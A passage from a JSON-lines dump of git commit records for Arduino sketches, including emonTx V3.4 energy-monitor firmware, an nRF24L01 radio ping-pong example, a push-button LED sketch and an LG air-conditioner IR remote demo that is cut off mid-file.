6;\n#define ASYNC_DELAY 375 \/\/ DS18B20 conversion delay - 9bit requres 95ms, 10bit 187ms, 11bit 375ms and 12bit resolution takes 750ms\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\n\/\/----------------------------emonTx V3 hard-wired connections---------------------------------------------------------------------------------------------------------------\nconst byte LEDpin= 6; \/\/ emonTx V3 LED\nconst byte DS18B20_PWR= 19; \/\/ DS18B20 Power\nconst byte DIP_switch1= 8; \/\/ RF node ID (default no chance in node ID, switch on for nodeID -1) switch off D9 is HIGH from internal pullup\nconst byte DIP_switch2= 9; \/\/ Voltage selection 230 \/ 110 V AC (default switch off 230V) - switch off D8 is HIGH from internal pullup\nconst byte battery_voltage_pin= 7; \/\/ Battery Voltage sample from 3 x AA\nconst byte pulse_countINT= 1; \/\/ INT 1 \/ Dig 3 Terminal Block \/ RJ45 Pulse counting pin(emonTx V3.4) - (INT0 \/ Dig2 emonTx V3.2)\nconst byte pulse_count_pin= 3; \/\/ INT 1 \/ Dig 3 Terminal Block \/ RJ45 Pulse counting pin(emonTx V3.4) - (INT0 \/ Dig2 emonTx V3.2)\n#define ONE_WIRE_BUS 5 \/\/ DS18B20 Data\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\/\/Setup DS128B20\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature sensors(&oneWire);\nbyte allAddress [MaxOnewire][8]; \/\/ 8 bytes per address\nbyte numSensors;\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\/\/-----------------------RFM12B \/ RFM69CW SETTINGS----------------------------------------------------------------------------------------------------\nbyte RF_freq=RF12_433MHZ; \/\/ Frequency of RF69CW module can be RF12_433MHZ, RF12_868MHZ or RF12_915MHZ. You should use the one matching the module you have.\nbyte nodeID = 8; \/\/ emonTx RFM12B node ID\nint networkGroup = 210;\n\/\/boolean RF_STATUS = 1; \/\/ Enable RF\nboolean RF_STATUS = 0; \/\/ disable RF\n\n\/\/ Note: Please update emonhub configuration guide on OEM wide packet structure change:\n\/\/ https:\/\/github.com\/openenergymonitor\/emonhub\/blob\/emon-pi\/configuration.md\ntypedef struct {\n int power1, power2, power3, power4, Vrms, temp[MaxOnewire];\n unsigned long pulseCount;\n} PayloadTX; \/\/ create structure - a neat way of packaging data for RF comms\n\nPayloadTX emontx;\n\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\/\/Random Variables\n\/\/boolean settled = false;\nboolean CT1, CT2, CT3, CT4, ACAC, DS18B20_STATUS;\nbyte CT_count=0;\nvolatile byte pulseCount = 0;\nunsigned long pulsetime=0; \/\/ Record time of interrupt pulse\nunsigned long start=0;\n\nconst char helpText1[] PROGMEM = \/\/ Available Serial Commands\n\"\\n\"\n\"Available commands:\\n\"\n\" <nn> i - set node IDs (standard node ids are 1..30)\\n\"\n\" <n> b - set MHz band (4 = 433, 8 = 868, 9 = 915)\\n\"\n\" <nnn> g - set network group (RFM12 only allows 212, 0 = any)\\n\"\n\" s - save config to EEPROM\\n\"\n\" v - Show firmware version\\n\"\n;\n\n\n#ifndef UNIT_TEST \/\/ IMPORTANT LINE!\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/SETUP\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\nvoid setup()\n{\n pinMode(LEDpin, OUTPUT);\n pinMode(DS18B20_PWR, OUTPUT);\n\n pinMode(pulse_count_pin, INPUT_PULLUP); \/\/ Set emonTx V3.4 interrupt pulse counting pin as input (Dig 3 \/ INT1)\n emontx.pulseCount=0; \/\/ Make sure pulse count starts at zero\n\n digitalWrite(LEDpin,HIGH);\n\n \/\/DIP SWITCHES\n pinMode(DIP_switch1, INPUT_PULLUP);\n pinMode(DIP_switch2, INPUT_PULLUP);\n \n Serial.begin(115200);\n Serial.print(\"emonTx V3.4 Discrete Sampling V\"); Serial.println(version*0.1);\n Serial.println(\"OpenEnergyMonitor.org\");\n Serial.println(\" \");\n if (RF_STATUS==1){\n load_config(); \/\/ Load RF config from EEPROM (if any exists)\n #if (RF69_COMPAT)\n Serial.print(\"RFM69CW\");\n #else\n Serial.print(\"RFM12B\");\n #endif\n if (digitalRead(DIP_switch1)==LOW) nodeID--; \/\/ IF DIP switch 1 is switched on then subtract 1 from nodeID\n Serial.print(\" Node: \"); Serial.print(nodeID);\n Serial.print(\" Freq: \");\n if (RF_freq == RF12_433MHZ) Serial.print(\"433Mhz\");\n if (RF_freq == RF12_868MHZ) Serial.print(\"868Mhz\");\n if (RF_freq == RF12_915MHZ) Serial.print(\"915Mhz\");\n Serial.print(\" Group: \"); Serial.println(networkGroup);\n Serial.println(\" \");\n }\n Serial.println(\"POST.....wait 10s\");\n Serial.println(\"'+++' then [Enter] for RF config mode\");\n \n\n\n if (digitalRead(DIP_switch2)==LOW) USA=TRUE; \/\/ IF DIP switch 2 is switched on then activate USA mode\n\n\n if (USA==TRUE){ \/\/ if USA mode is true\n Vcal=Vcal_USA; \/\/ Assume USA AC\/AC adatper is being used, set calibration accordingly\n Vrms = Vrms_USA; \/\/\/ USE 110V for USA apparent power\n }\n\n delay(10);\n \n if (RF_STATUS==1){\n rf12_initialize(nodeID, RF_freq, networkGroup); \/\/ initialize RFM12B\/rfm69CW\n for (int i=10; i>=0; i--) \/\/ Send RF test sequence (for factory testing)\n {\n emontx.power1=i;\n rf12_sendNow(0, &emontx, sizeof emontx);\n delay(100);\n }\n rf12_sendWait(2);\n emontx.power1=0;\n }\n \n if (analogRead(1) > 0) {CT1 = 1; CT_count++;} else CT1=0; \/\/ check to see if CT is connected to CT1 input, if so enable that channel\n if (analogRead(2) > 0) {CT2 = 1; CT_count++;} else CT2=0; \/\/ check to see if CT is connected to CT2 input, if so enable that channel\n if (analogRead(3) > 0) {CT3 = 1; CT_count++;} else CT3=0; \/\/ check to see if CT is connected to CT3 input, if so enable that channel\n if (analogRead(4) > 0) {CT4 = 1; CT_count++;} else CT4=0; \/\/ check to see if CT is connected to CT4 input, if so enable that channel\n\n if ( CT_count == 0) CT1=1; \/\/ If no CT's are connect ed CT1-4 then by default read from CT1\n\n \/\/ Quick check to see if there is a voltage waveform present on the ACAC Voltage input\n \/\/ Check consists of calculating the RMS from 100 samples of the voltage input.\n start = millis();\n while (millis() < (start + 10000)){\n \/\/ If serial input of keyword string '+++' is entered during 10s POST then enter config mode\n if (Serial.available()){\n if ( Serial.readString() == \"+++\\r\\n\"){\n Serial.println(\"Entering config mode...\");\n showString(helpText1);\n \/\/ char c[]=\"v\"\n config(char('v'));\n while(1){\n if (Serial.available()){\n config(Serial.read());\n }\n }\n }\n }\n }\n \n digitalWrite(LEDpin,LOW);\n\n \/\/ Calculate if there is an ACAC adapter on analog input 0\n double vrms = calc_rms(0,1780) * (Vcal * (3.3\/1024) );\n if (vrms>90) ACAC = 1; else ACAC=0;\n\n if (ACAC)\n {\n for (int i=0; i<10; i++) \/\/ indicate AC has been detected by flashing LED 10 times\n {\n digitalWrite(LEDpin, HIGH); delay(200);\n digitalWrite(LEDpin, LOW); delay(300);\n }\n }\n else\n {\n delay(1000);\n digitalWrite(LEDpin, HIGH); delay(2000); digitalWrite(LEDpin, LOW); \/\/ indicate DC power has been detected by turing LED on then off\n }\n\n\n \/\/################################################################################################################################\n \/\/Setup and for presence of DS18B20\n \/\/################################################################################################################################\n digitalWrite(DS18B20_PWR, HIGH); delay(100);\n sensors.begin();\n sensors.setWaitForConversion(false); \/\/ disable automatic temperature conversion to reduce time spent awake, conversion will be implemented manually in sleeping\n \/\/ http:\/\/harizanov.com\/2013\/07\/optimizing-ds18b20-code-for-low-power-applications\/\n numSensors=(sensors.getDeviceCount());\n if (numSensors > MaxOnewire) numSensors=MaxOnewire; \/\/Limit number of sensors to max number of sensors\n\n byte j=0; \/\/ search for one wire devices and\n \/\/ copy to device address arrays.\n while ((j < numSensors) && (oneWire.search(allAddress[j]))) j++;\n\n delay(500);\n digitalWrite(DS18B20_PWR, LOW);\n\n if (numSensors==0) DS18B20_STATUS=0;\n else DS18B20_STATUS=1;\n\n \/\/################################################################################################################################\n\n if (DEBUG==1)\n {\n Serial.print(\"CT 1 Cal \"); Serial.println(Ical1);\n Serial.print(\"CT 2 Cal \"); Serial.println(Ical2);\n Serial.print(\"CT 3 Cal \"); Serial.println(Ical3);\n Serial.print(\"CT 4 Cal \"); Serial.println(Ical4);\n delay(1000);\n\n Serial.print(\"RMS Voltage on AC-AC is: ~\");\n Serial.print(vrms,0); Serial.println(\"V\");\n\n if (ACAC) {\n Serial.println(\"AC-AC detected - Real Power measure enabled\");\n Serial.println(\"assuming pwr from AC-AC (jumper closed)\");\n if (USA==TRUE) Serial.println(\"USA mode active\");\n Serial.print(\"Vcal: \"); Serial.println(Vcal);\n Serial.print(\"Phase Shift: \"); Serial.println(phase_shift);\n } else {\n Serial.println(\"AC-AC NOT detected - Apparent Pwr measure enabled\");\n Serial.print(\"Assuming VRMS: \"); Serial.print(Vrms); Serial.println(\"V\");\n Serial.println(\"Assuming power from batt \/ 5V USB - power save enabled\");\n }\n\n if (CT_count==0) {\n Serial.println(\"NO CT's detected\");\n } else {\n if (CT1) Serial.println(\"CT 1 detected\");\n if (CT2) Serial.println(\"CT 2 detected\");\n if (CT3) Serial.println(\"CT 3 detected\");\n if (CT4) Serial.println(\"CT 4 detected\");\n }\n\n if (DS18B20_STATUS==1) {\n Serial.print(\"Detected Temp Sensors: \");\n Serial.println(numSensors);\n } else {\n Serial.println(\"No temperature sensor\");\n }\n\n Serial.print(\"CT1 CT2 CT3 CT4 VRMS\/BATT PULSE\");\n if (DS18B20_STATUS==1){Serial.print(\" Temperature 1-\"); Serial.print(numSensors);}\n Serial.print(\" CT1-mA\");\n Serial.println(\" \");\n delay(500);\n\n }\n else\n {\n Serial.end();\n }\n\n\n if (CT1) ct1.current(1, Ical1); \/\/ CT ADC channel 1, calibration. calibration (2000 turns \/ 22 Ohm burden resistor = 90.909)\n if (CT2) ct2.current(2, Ical2); \/\/ CT ADC channel 2, calibration.\n if (CT3) ct3.current(3, Ical3); \/\/ CT ADC channel 3, calibration.\n if (CT4) ct4.current(4, Ical4); \/\/ CT ADC channel 4, calibration. calibration (2000 turns \/ 120 Ohm burden resistor = 16.66) high accuracy @ low power - 4.5kW Max @ 240V\n\n if (ACAC)\n {\n if (CT1) ct1.voltage(0, Vcal, phase_shift); \/\/ ADC pin, Calibration, phase_shift\n if (CT2) ct2.voltage(0, Vcal, phase_shift); \/\/ ADC pin, Calibration, phase_shift\n if (CT3) ct3.voltage(0, Vcal, phase_shift); \/\/ ADC pin, Calibration, phase_shift\n if (CT4) ct4.voltage(0, Vcal, phase_shift); \/\/ ADC pin, Calibration, phase_shift\n }\n\n attachInterrupt(pulse_countINT, onPulse, FALLING); \/\/ Attach pulse counting interrupt pulse counting\n\n for(byte j=0;j<MaxOnewire;j++)\n emontx.temp[j] = 3000; \/\/ If no temp sensors connected default to status code 3000\n \/\/ will appear as 300 once multipled by 0.1 in emonhub\n} \/\/end SETUP\n\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/ LOOP\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\nvoid loop()\n{\n start = millis();\n\n if (ACAC) {\n delay(200); \/\/if powering from AC-AC allow time for power supply to settle\n emontx.Vrms=0; \/\/Set Vrms to zero, this will be overwirtten by CT 1-4\n }\n\n \/\/ emontx.power1 = 1;\n \/\/ emontx.power2 = 1;\n \/\/ emontx.power3 = 1;\n \/\/ emontx.power4 = 1;\n\n if (CT1) {\n if (ACAC) {\n ct1.calcVI(no_of_half_wavelengths,timeout); emontx.power1=ct1.realPower;\n emontx.Vrms=ct1.Vrms*100;\n } else {\n emontx.power1 = ct1.calcIrms(no_of_samples)*Vrms;\n }\n }\n\n if (CT2) {\n if (ACAC) {\n ct2.calcVI(no_of_half_wavelengths,timeout); emontx.power2=ct2.realPower;\n emontx.Vrms=ct2.Vrms*100;\n } else {\n emontx.power2 = ct2.calcIrms(no_of_samples)*Vrms;\n }\n }\n\n if (CT3) {\n if (ACAC) {\n ct3.calcVI(no_of_half_wavelengths,timeout); emontx.power3=ct3.realPower;\n emontx.Vrms=ct3.Vrms*100;\n } else {\n emontx.power3 = ct3.calcIrms(no_of_samples)*Vrms;\n }\n }\n\n if (CT4) {\n if (ACAC) {\n ct4.calcVI(no_of_half_wavelengths,timeout); emontx.power4=ct4.realPower;\n emontx.Vrms=ct4.Vrms*100;\n } else {\n emontx.power4 = ct4.calcIrms(no_of_samples)*Vrms;\n }\n }\n\n if (!ACAC){ \/\/ read battery voltage if powered by DC\n int battery_voltage=analogRead(battery_voltage_pin) * 0.681322727; \/\/ 6.6V battery = 3.3V input = 1024 ADC\n emontx.Vrms= battery_voltage;\n }\n\n if (DS18B20_STATUS==1)\n {\n digitalWrite(DS18B20_PWR, HIGH);\n Sleepy::loseSomeTime(50);\n for(int j=0;j<numSensors;j++)\n sensors.setResolution(allAddress[j], TEMPERATURE_PRECISION); \/\/ and set the a to d conversion resolution of each.\n sensors.requestTemperatures();\n Sleepy::loseSomeTime(ASYNC_DELAY); \/\/ Must wait for conversion, since we use ASYNC mode\n for(byte j=0;j<numSensors;j++)\n emontx.temp[j]=get_temperature(j);\n digitalWrite(DS18B20_PWR, LOW);\n }\n\n if (pulseCount) \/\/ if the ISR has counted some pulses, update the total count\n {\n cli(); \/\/ Disable interrupt just in case pulse comes in while we are updating the count\n emontx.pulseCount += pulseCount;\n pulseCount = 0;\n sei(); \/\/ Re-enable interrupts\n }\n\n if (DEBUG==1) {\n Serial.print(\"ct1:\"); Serial.print(emontx.power1);\n Serial.print(\",ct2:\"); Serial.print(emontx.power2);\n Serial.print(\",ct3:\"); Serial.print(emontx.power3);\n Serial.print(\",ct4:\"); Serial.print(emontx.power4);\n Serial.print(\",vrms:\"); Serial.print(emontx.Vrms);\n Serial.print(\",pulse:\"); Serial.print(emontx.pulseCount);\n if (DS18B20_STATUS==1){\n for(byte j=0;j<numSensors;j++){\n Serial.print(\",t\"); Serial.print(j); Serial.print(\":\");\n Serial.print(emontx.temp[j]);\n }\n }\n Serial.print(\",mA:\"); Serial.print(int(ct3.Irms * 1000)); \/\/ TODO change to ct1, MINE IS BROKEN\n Serial.println();\n delay(50);\n }\n\n if (ACAC) {digitalWrite(LEDpin, HIGH); delay(200); digitalWrite(LEDpin, LOW);} \/\/ flash LED if powered by AC\n\n if (RF_STATUS==1){\n send_rf_data(); \/\/ *SEND RF DATA* - see emontx_lib\n }\n\n unsigned long runtime = millis() - start;\n unsigned long sleeptime = (TIME_BETWEEN_READINGS*1000) - runtime - 100;\n\n if (ACAC) { \/\/ If powered by AC-AC adaper (mains power) then delay instead of sleep\n delay(sleeptime);\n } else { \/\/ if powered by battery then sleep rather than dealy and disable LED to lower energy consumption\n \/\/ lose an additional 500ms here (measured timing)\n Sleepy::loseSomeTime(sleeptime-500); \/\/ sleep or delay in seconds\n }\n} \/\/ end loop\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\n\n\n\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/ SEND RF\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\nvoid send_rf_data()\n{\n rf12_sleep(RF12_WAKEUP);\n rf12_sendNow(0, &emontx, sizeof emontx); \/\/send temperature data via RFM12B using new rf12_sendNow wrapper\n rf12_sendWait(2);\n if (!ACAC) rf12_sleep(RF12_SLEEP); \/\/if powred by battery then put the RF module into sleep inbetween readings\n}\n\n\ndouble calc_rms(int pin, int samples)\n{\n unsigned long sum = 0;\n for (int i=0; i<samples; i++) \/\/ 178 samples takes about 20ms\n {\n int raw = (analogRead(0)-512);\n sum += (unsigned long)raw * raw;\n }\n double rms = sqrt((double)sum \/ samples);\n return rms;\n}\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\n\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/ The interrupt routine - runs each time a falling edge of a pulse is detected\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\nvoid onPulse()\n{\n if ( (millis() - pulsetime) > min_pulsewidth) {\n pulseCount++;\t\t\t\t\t\/\/calculate wh elapsed from time between pulses\n }\n pulsetime=millis();\n}\n\nint get_temperature(byte sensor)\n{\n float temp=(sensors.getTempC(allAddress[sensor]));\n if ((temp<125.0) && (temp>-55.0)) return(temp*10); \/\/if reading is within range for the sensor convert float to int ready to send via RF\n}\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\n#endif \/\/ IMPORTANT LINE!\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OpenEnergyMonitor\/emonTx\/emontx3-30.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3117d0e71253276ee9495b034cc5111508bccd89","subject":"Added encoder demonstration code.","message":"Added encoder demonstration code.\n","repos":"MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments","old_file":"Encoder Demo\/EncoderDemo.ino","new_file":"Encoder Demo\/EncoderDemo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Encoder' did not match any file(s) known to git\nerror: pathspec 'Demo\/EncoderDemo.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"42a5104e0d7d5c7deb43ce5aa372b29e33092db6","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/03.Analog\/AnalogWriteMega\/AnalogWriteMega.ino","new_file":"build\/shared\/examples\/03.Analog\/AnalogWriteMega\/AnalogWriteMega.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 42a5104e0d7d5c7deb43ce5aa372b29e33092db6\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"96f9512202e6dedf9100d4695179423b2edba8c2","subject":"test: Connection of 2 NRF24","message":"test: Connection of 2 NRF24\n","repos":"hiepph\/leopica,hiepph\/leopica","old_file":"NRF24\/GettingStarted\/GettingStarted.ino","new_file":"NRF24\/GettingStarted\/GettingStarted.ino","new_contents":"\n\/*\n* Getting Started example sketch for nRF24L01+ radios\n* This is a very basic example of how to send data from one node to another\n* Updated: Dec 2014 by TMRh20\n*\/\n\n#include <SPI.h>\n#include \"RF24.h\"\n\n\/****************** User Config ***************************\/\n\/*** Set this radio as radio number 0 or 1 ***\/\nbool radioNumber = 1;\n\n\/* Hardware configuration: Set up nRF24L01 radio on SPI bus plus pins 7 & 8 *\/\nRF24 radio(7,8);\n\/**********************************************************\/\n\nbyte addresses[][6] = {\"1Node\",\"2Node\"};\n\n\/\/ Used to control whether this node is sending or receiving\nbool role = 0;\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(F(\"RF24\/examples\/GettingStarted\"));\n Serial.println(F(\"*** PRESS 'T' to begin transmitting to the other node\"));\n \n radio.begin();\n\n \/\/ Set the PA Level low to prevent power supply related issues since this is a\n \/\/ getting_started sketch, and the likelihood of close proximity of the devices. RF24_PA_MAX is default.\n radio.setPALevel(RF24_PA_LOW);\n \n \/\/ Open a writing and reading pipe on each radio, with opposite addresses\n if(radioNumber){\n radio.openWritingPipe(addresses[1]);\n radio.openReadingPipe(1,addresses[0]);\n }else{\n radio.openWritingPipe(addresses[0]);\n radio.openReadingPipe(1,addresses[1]);\n }\n \n \/\/ Start the radio listening for data\n radio.startListening();\n}\n\nvoid loop() {\n \n \n\/****************** Ping Out Role ***************************\/ \nif (role == 1) {\n \n radio.stopListening(); \/\/ First, stop listening so we can talk.\n \n \n Serial.println(F(\"Now sending\"));\n\n unsigned long start_time = micros(); \/\/ Take the time, and send it. This will block until complete\n if (!radio.write( &start_time, sizeof(unsigned long) )){\n Serial.println(F(\"failed\"));\n }\n \n radio.startListening(); \/\/ Now, continue listening\n \n unsigned long started_waiting_at = micros(); \/\/ Set up a timeout period, get the current microseconds\n boolean timeout = false; \/\/ Set up a variable to indicate if a response was received or not\n \n while ( ! radio.available() ){ \/\/ While nothing is received\n if (micros() - started_waiting_at > 200000 ){ \/\/ If waited longer than 200ms, indicate timeout and exit while loop\n timeout = true;\n break;\n } \n }\n \n if ( timeout ){ \/\/ Describe the results\n Serial.println(F(\"Failed, response timed out.\"));\n }else{\n unsigned long got_time; \/\/ Grab the response, compare, and send to debugging spew\n radio.read( &got_time, sizeof(unsigned long) );\n unsigned long end_time = micros();\n \n \/\/ Spew it\n Serial.print(F(\"Sent \"));\n Serial.print(start_time);\n Serial.print(F(\", Got response \"));\n Serial.print(got_time);\n Serial.print(F(\", Round-trip delay \"));\n Serial.print(end_time-start_time);\n Serial.println(F(\" microseconds\"));\n }\n\n \/\/ Try again 1s later\n delay(1000);\n }\n\n\n\n\/****************** Pong Back Role ***************************\/\n\n if ( role == 0 )\n {\n unsigned long got_time;\n \n if( radio.available()){\n \/\/ Variable for the received timestamp\n while (radio.available()) { \/\/ While there is data ready\n radio.read( &got_time, sizeof(unsigned long) ); \/\/ Get the payload\n }\n \n radio.stopListening(); \/\/ First, stop listening so we can talk \n radio.write( &got_time, sizeof(unsigned long) ); \/\/ Send the final one back. \n radio.startListening(); \/\/ Now, resume listening so we catch the next packets. \n Serial.print(F(\"Sent response \"));\n Serial.println(got_time); \n }\n }\n\n\n\n\n\/****************** Change Roles via Serial Commands ***************************\/\n\n if ( Serial.available() )\n {\n char c = toupper(Serial.read());\n if ( c == 'T' && role == 0 ){ \n Serial.println(F(\"*** CHANGING TO TRANSMIT ROLE -- PRESS 'R' TO SWITCH BACK\"));\n role = 1; \/\/ Become the primary transmitter (ping out)\n \n }else\n if ( c == 'R' && role == 1 ){\n Serial.println(F(\"*** CHANGING TO RECEIVE ROLE -- PRESS 'T' TO SWITCH BACK\")); \n role = 0; \/\/ Become the primary receiver (pong back)\n radio.startListening();\n \n }\n }\n\n\n} \/\/ Loop\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'NRF24\/GettingStarted\/GettingStarted.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"04b2b8e06b8b4aabfb03cd172d5da0ee756c961d","subject":"Se crea proyecto arduino pulsadores","message":"Se crea proyecto arduino pulsadores\n","repos":"codigoelectronica\/arduino_code,codigoelectronica\/arduino_code,codigoelectronica\/arduino_code","old_file":"arduino_pulsadores\/arduino_pulsadores.ino","new_file":"arduino_pulsadores\/arduino_pulsadores.ino","new_contents":"\/**Arduino pulsadores\n*\n* Copyright: codigoelectronica.com\n* Author: Oscar Fernandez @oscarfdzalz\n* License: MIT*\/\n\nint led2 = 2;\nint led3 = 3;\n\nint inputPin5 = 5;\nint inputPin6 = 6;\n\nint val2 = 0;\nint val3 = 0;\n\n\nvoid setup() {\n pinMode(led2, OUTPUT);\n pinMode(led3, OUTPUT);\n pinMode(inputPin5, INPUT);\n pinMode(inputPin6, INPUT);\n}\n\nvoid loop() {\n val2 = digitalRead(inputPin5);\n if (val2 == HIGH) {\n digitalWrite(led2, HIGH);\n } else {\n digitalWrite(led2, LOW);\n }\n \n val3 = digitalRead(inputPin6);\n if (val3 == HIGH) {\n digitalWrite(led3, HIGH);\n } else {\n digitalWrite(led3, LOW);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_pulsadores\/arduino_pulsadores.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d87707d0ec9a4f22b1c1021880a6b853a9dfcad3","subject":"add heating","message":"add heating\n","repos":"pcoughlin\/Arduino-IRremote,AnalysIR\/Arduino-IRremote,ivankravets\/Arduino-IRremote,Informatic\/Arduino-IRremote,hafo821\/Arduino-IRremote,shirriff\/Arduino-IRremote,r2jitu\/Arduino-IRremote,liamog\/Arduino-IRremote,YodaR10\/Arduino-IRremote,MadGarra\/Arduino-IRremote,Informatic\/Arduino-IRremote,bessl\/Arduino-IRremote,shwongsoohar\/Arduino-IRremote,AnalysIR\/Arduino-IRremote,danz0\/Arduino-IRremote,cedar-renjun\/Arduino-IRremote,blevien\/Arduino-IRremote,MadGarra\/Arduino-IRremote,Seeed-Studio\/IRSendRev,PaoloP74\/Arduino-IRremote,pcoughlin\/Arduino-IRremote,shirriff\/Arduino-IRremote,bessl\/Arduino-IRremote,shwongsoohar\/Arduino-IRremote,hafo821\/Arduino-IRremote,liamog\/Arduino-IRremote,r2jitu\/Arduino-IRremote,cedar-renjun\/Arduino-IRremote,audetto\/Arduino-IRremote,ivankravets\/Arduino-IRremote,PaoloP74\/Arduino-IRremote,z3t0\/Arduino-IRremote,danz0\/Arduino-IRremote,blevien\/Arduino-IRremote,YodaR10\/Arduino-IRremote,audetto\/Arduino-IRremote,Seeed-Studio\/IRSendRev,z3t0\/Arduino-IRremote,swkyer\/Arduino-IRremote,swkyer\/Arduino-IRremote","old_file":"examples\/LGACSendDemo\/LGACSendDemo.ino","new_file":"examples\/LGACSendDemo\/LGACSendDemo.ino","new_contents":"#include <IRremote.h>\n#include <Wire.h>\n\n\nIRsend irsend;\n\/\/ not used\nint RECV_PIN = 11;\nIRrecv irrecv (RECV_PIN);\n\nconst int AC_TYPE = 0;\n\/\/ 0 : TOWER\n\/\/ 1 : WALL\n\/\/\n\nconst int AC_HEAT = 0;\n\/\/ 0 : cooling\n\/\/ 1 : heating\n\nint AC_POWER_ON = 0;\n\/\/ 0 : off\n\/\/ 1 : on\n\nint AC_AIR_ACLEAN = 0;\n\/\/ 0 : off\n\/\/ 1 : on --> power on\n\nint AC_TEMPERATURE = 27;\n\/\/ temperature : 18 ~ 30\n\nint AC_FLOW = 1;\n\/\/ 0 : low\n\/\/ 1 : mid\n\/\/ 2 : high\n\/\/ if AC_TYPE =1, 3 : change\n\/\/\n\n\nconst int AC_FLOW_TOWER[3] = {0, 4, 6};\nconst int AC_FLOW_WALL[4] = {0, 2, 4, 5};\n\nunsigned long AC_CODE_TO_SEND;\n\nint r = LOW;\nint o_r = LOW;\n\nbyte a, b;\n\nvoid ac_send_code(unsigned long code)\n{\n Serial.print(\"code to send : \");\n Serial.print(code, BIN);\n Serial.print(\" : \");\n Serial.println(code, HEX);\n\n irsend.sendLG(code, 28);\n}\n\nvoid ac_activate(int temperature, int air_flow)\n{\n\n int AC_MSBITS1 = 8;\n int AC_MSBITS2 = 8;\n int AC_MSBITS3 = 0;\n int AC_MSBITS4 ;\n if ( AC_HEAT == 1 ) {\n AC_MSBITS4 = 4;\n } else {\n AC_MSBITS4 = 0;\n }\n int AC_MSBITS5 = temperature - 15;\n int AC_MSBITS6 ;\n\n if ( AC_TYPE == 0) {\n AC_MSBITS6 = AC_FLOW_TOWER[air_flow];\n } else {\n AC_MSBITS6 = AC_FLOW_WALL[air_flow];\n }\n\n int AC_MSBITS7 = (AC_MSBITS3 + AC_MSBITS4 + AC_MSBITS5 + AC_MSBITS6) & B00001111;\n\n AC_CODE_TO_SEND = AC_MSBITS1 << 4 ;\n AC_CODE_TO_SEND = (AC_CODE_TO_SEND + AC_MSBITS2) << 4;\n AC_CODE_TO_SEND = (AC_CODE_TO_SEND + AC_MSBITS3) << 4;\n AC_CODE_TO_SEND = (AC_CODE_TO_SEND + AC_MSBITS4) << 4;\n AC_CODE_TO_SEND = (AC_CODE_TO_SEND + AC_MSBITS5) << 4;\n AC_CODE_TO_SEND = (AC_CODE_TO_SEND + AC_MSBITS6) << 4;\n AC_CODE_TO_SEND = (AC_CODE_TO_SEND + AC_MSBITS7);\n\n ac_send_code(AC_CODE_TO_SEND);\n\n AC_POWER_ON = 1;\n AC_TEMPERATURE = temperature;\n AC_FLOW = air_flow;\n}\n\nvoid ac_change_air_swing(int air_swing)\n{\n if ( AC_TYPE == 0) {\n if ( air_swing == 1) {\n AC_CODE_TO_SEND = 0x881316B;\n } else {\n AC_CODE_TO_SEND = 0x881317C;\n }\n } else {\n if ( air_swing == 1) {\n AC_CODE_TO_SEND = 0x8813149;\n } else {\n AC_CODE_TO_SEND = 0x881315A;\n }\n }\n\n ac_send_code(AC_CODE_TO_SEND);\n}\n\nvoid ac_power_down()\n{\n AC_CODE_TO_SEND = 0x88C0051;\n\n ac_send_code(AC_CODE_TO_SEND);\n\n AC_POWER_ON = 0;\n}\n\nvoid ac_air_clean(int air_clean)\n{\n if ( air_clean == 1) {\n AC_CODE_TO_SEND = 0x88C000C;\n } else {\n AC_CODE_TO_SEND = 0x88C0084;\n }\n\n ac_send_code(AC_CODE_TO_SEND);\n\n AC_AIR_ACLEAN = air_clean;\n}\n\nvoid setup()\n{\n Serial.begin(38400);\n delay(1000);\n Wire.begin(7);\n Wire.onReceive(receiveEvent);\n\n Serial.println(\" - - - T E S T - - - \");\n\n \/* test\n ac_activate(25, 1);\n delay(5000);\n ac_activate(27, 2);\n delay(5000);\n\n *\/\n}\n\nvoid loop()\n{\n\n\n ac_activate(25, 1);\n delay(5000);\n ac_activate(27, 0);\n delay(5000);\n\n\n if ( r != o_r) {\n\n \/*\n # a : mode or temp b : air_flow, temp, swing, clean\n # 18 ~ 30 : temp 0 ~ 2 